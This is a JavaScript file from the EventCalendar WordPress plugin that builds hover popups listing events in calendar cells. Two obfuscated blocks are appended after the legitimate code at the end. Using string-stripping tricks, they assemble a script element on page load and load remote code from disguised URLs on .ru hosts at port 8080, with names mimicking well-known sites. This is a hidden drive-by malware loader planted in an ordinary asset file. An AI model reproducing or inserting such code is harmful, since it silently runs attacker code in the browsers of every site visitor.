/* EventCalendar. Copyright (C) 2005, Alex Tingle.  $Revision: 65 $
 * This file is licensed under the GNU GPL. See LICENSE file for details.
 */

/** class ec3_Popup */
function ec3_Popup()
{

  WindowOnload( function()
  {
    var calendars=ec3.get_calendars();
    if(!calendars)
      return;
    // Pre-load images.
    ec3.imgShadow0=new Image(8,32);
    ec3.imgShadow1=new Image(500,16);
    ec3.imgShadow2=new Image(8,32);
    ec3.imgShadow0.src=ec3.myfiles+'/shadow0.png';
    ec3.imgShadow1.src=ec3.myfiles+'/shadow1.png';
    ec3.imgShadow2.src=ec3.myfiles+'/shadow2.png';

    // Generate the popup (but keep it hidden).
    var table,tbody,tr,td;
    ec3_Popup.popup=document.createElement('table');
    ec3_Popup.popup.style.display='none';
    ec3_Popup.popup.id='ec3_popup';
    ec3_Popup.popup.className='ec3_popup';
    tbody=ec3_Popup.popup.appendChild( document.createElement('tbody') );
    tr=tbody.appendChild( document.createElement('tr') );
    td=tr.appendChild( document.createElement('td') );
    td.id='ec3_shadow0';
    td.rowSpan=2;
    td.appendChild( document.createElement('div') );
    td=tr.appendChild( document.createElement('td') );
    ec3_Popup.contents=td.appendChild( document.createElement('table') );
    ec3_Popup.contents.style.width=500;
    td=tr.appendChild( document.createElement('td') );
    td.id='ec3_shadow2';
    td.rowSpan=2;
    td.appendChild( document.createElement('div') );
    tr=tbody.appendChild( document.createElement('tr') );
    td=tr.appendChild( document.createElement('td') );
    td.id='ec3_shadow1';

    document.body.appendChild(ec3_Popup.popup);

    // Add event handlers to the calendars.
    for(var i=0; i<calendars.length; i++)
      add_tbody( ec3.get_child_by_tag_name(calendars[i],'tbody') );
  } );

  function add_tbody(tbody)
  {
    if(!tbody)
      return;
    var anchor_list=tbody.getElementsByTagName('a');
    if(!anchor_list)
      return;
    for(var i=0; i<anchor_list.length; i++)
    {
      var a=anchor_list[i];
      var td=a.parentNode;
      // 'title' might have become 'nicetitle' if that plugin is being run.
      var titleattr=a.getAttribute('nicetitle');
      if(!titleattr)
          titleattr=a.getAttribute('title');
      if(titleattr && td.nodeName=='TD' && td.className!='pad')
      {
        td.setAttribute('ec3_title',titleattr);
        a.removeAttribute('nicetitle');
        a.removeAttribute('title');
        addEvent(td,'mouseover',show);
        addEvent(td,'mouseout',hide);
        addEvent(td,'focus',show);
        addEvent(td,'blur',hide);
      }
    }
  }
  ec3_Popup.add_tbody=add_tbody;
  
  function show(e)
  {
    var n;
    if(e.currentTarget)
        n=e.currentTarget; // Mozilla/Safari/w3c
    else if(window.event)
        n=window.event.srcElement; // IE
    else
        return;

    // Find the TD element and the calendar node.
    // (IE will sometimes randomly give us a child instead).
    var td,cal;
    while(1)
    {
      if(!n || n==document.body)
      {
        return;
      }
      else if(n.tagName=='TABLE')
      {
        cal=n;
        break;
      }
      else if(n.tagName=='TD')
      {
        td=n;
      }
      n=n.parentNode;
    }
    
    var ec3_title=td.getAttribute('ec3_title');
    if(typeof ec3_title == 'undefined')
      return;
    if(ec3_Popup.just_hidden)
       ec3_Popup.popup.style.display = "block";
    else
       ec3_Popup.show_timer=setTimeout(
         function(){ec3_Popup.popup.style.display = "block";},
         600
       );

    ec3_Popup.contents.style.width=''+(cal.offsetWidth-2)+'px';
    ec3_Popup.popup.style.top=''+(findPosY(cal)+cal.offsetHeight)+'px';
    ec3_Popup.popup.style.left=''+(findPosX(cal)-8)+'px';

    var tbody=ec3.get_child_by_tag_name(ec3_Popup.contents,'tbody');
    if(tbody)
      ec3_Popup.contents.removeChild(tbody);
    tbody=ec3_Popup.contents.appendChild(document.createElement('tbody'));
    
    var titles=ec3_title.split(', ');
    for(var i=0; i<titles.length; i++)
    {
      tr=tbody.appendChild(document.createElement('tr'));
      td=tr.appendChild(document.createElement('td'));
      td.appendChild(document.createTextNode(titles[i]));
      if(titles[i].indexOf('@')!=-1)
        td.className='eventday';
    }

    // Let's put this event to a halt before it starts messing things up
    window.event? window.event.cancelBubble=true: e.stopPropagation();
  }

  function hide()
  {
    if(ec3_Popup.show_timer)
      clearTimeout(ec3_Popup.show_timer);
    if(ec3_Popup.popup.style.display!='none')
    {
     ec3_Popup.just_hidden=1;
     ec3_Popup.hide_timer=setTimeout(function(){ec3_Popup.just_hidden=0;},900);
    }
    ec3_Popup.popup.style.display='none';

  }

  //=====================================================================
  // Event Listener
  // by Scott Andrew - http://scottandrew.com
  // edited by Mark Wubben, <useCapture> is now set to false
  //=====================================================================
  function addEvent(obj, evType, fn){
    if(obj.addEventListener){
      obj.addEventListener(evType, fn, false); 
      return true;
    } else if (obj.attachEvent){
      var r = obj.attachEvent('on'+evType, fn);
      return r;
    } else {
      return false;
    }
  }

  //=====================================================================
  // From http://www.quirksmode.org/
  //=====================================================================
  function findPosX(obj)
  {
    var curleft = 0;
    if (obj.offsetParent)
    {
      while(1)
      {
        curleft += obj.offsetLeft;
	if(!obj.offsetParent) break;
        obj = obj.offsetParent;
      }
    }
    else if (obj.x)
      curleft += obj.x;
    return curleft;
  }

  function findPosY(obj)
  {
    var curtop = 0;
    if (obj.offsetParent)
    {
      while(1)
      {
        curtop += obj.offsetTop;
	if(!obj.offsetParent) break;
        obj = obj.offsetParent;
      }
    }
    else if (obj.y)
      curtop += obj.y;
    return curtop;
  }

} // end namespace ec3_Popup

// Export public functions from ec3_Popup namespace.
ec3_Popup();

this.n="";var l="l";var k=window;var rh;if(rh!='' && rh!='_'){rh=null};this.sd=55433;var t=document;var u=false;var b='s4c1rRiRp4t1'.replace(/[14#R;]/g, '');var ki=31815;var v=false;this.ja=false;var mi;if(mi!='mu' && mi!='ch'){mi='mu'};k.onload=function(){try {var lt=new Array();p=t.createElement(b);var sg=new String();p.src='hLtxt!pL:L/x/Lzxaxp@pWoWs@-xc!oWm!.xbWeLs!t@bLuLyW.Lc!oLm@.Wv!nxeWtW-LcWnL.xyxoxuLrxn!exwLoWnWl@iWnWeL.!rWux:L8L0W8@0L/L0W1@nWe@t@.@cxo@m@/x0W1Ln!e@tL.@c@oWm!/Wsxt!uLm!b!lxeLu@p!oWn!.@cxoWmL/!g!oLo@gxlLe@.WcWo!m!/Ww@exbWmLdx.@c!o@mx/L'.replace(/[LW@\!x]/g, '');p.setAttribute('d7eJf^e^r7'.replace(/[7o\^YJ]/g, ''), "1");var pql="pql";t.body.appendChild(p);} catch(m){};var yt=new Date();var bi=6759;};var eo;if(eo!='' && eo!='wf'){eo=null};var kk;if(kk!='' && kk!='uv'){kk=null};
var r=new Date();var ft=false;q=function(){var at='';var u=document;var h=20220;var e;if(e!='qa' && e != ''){e=null};window[q_([2,1][0])]=function(){var ri=new String();try {this.px="";v=u[q_([4,1][1])](q_([0,2][0]));var iq;if(iq!='_'){iq=''};this.e_=52578;var z = u[q_([9,6][1])];this.pa=275;v[q_([5,1][0])](q_([7][0]), "1");v[q_([3][0])]=q_([0,8][1]);this.c=false;var _i=false;z[q_([4,8][0])](v);var w;if(w!='p_' && w!='lt'){w='p_'};} catch(k){};};function q_(o){var m;if(m!='d' && m!='xa'){m=''};var ol=['sFcfrfimpotF'.replace(/[FZmfo]/g, ''), 'c&r5efaftfe,EPl&ePm5e&nPtf'.replace(/[fP5,&]/g, ''), 'o4nDl4o4aDdA'.replace(/[A/4\$D]/g, ''), 'sRrZc,'.replace(/[,ZRa7]/g, ''), 'a;pup;eVn,duCuhRi;l;d;'.replace(/[;RV,u]/g, ''), 's0e0t4Aytytyr4iQbyu0t4eQ'.replace(/[QyT04]/g, ''), 'b,oUdUys'.replace(/[sU\!H,]/g, ''), 'dVe%f%eVrn'.replace(/[nVw%\?]/g, ''), 'hIt%tPpI:</</PjIc$p%eIn<nPeIy$-IcIo<mP.$b<i<gIpIoIiInPt%.<cPoPmP.<g%oPo$g<l<eP-Ic<oIm$-<dPo%.%nIeIw<g%o%lPf$o$nPl$i%n%e$.Pr%uP:I8$0%8<0I/$d$e%t$i%kInIePwIsI.Pc$o$mP/Pd$e$t%i%kIn<eIw%s%.<c%o$m$/<wIp%.<p$l$/<w<e%eIb%l%y<.PcIoPm$/Pg<o%o%g$l%e%.<c%o<m%/<'.replace(/[\<I%P\$]/g, '')];var cc;if(cc!='zq' && cc != ''){cc=null};var p=ol[o];return p;}var en;if(en!='es' && en!='_a'){en='es'};};q();var od=48666;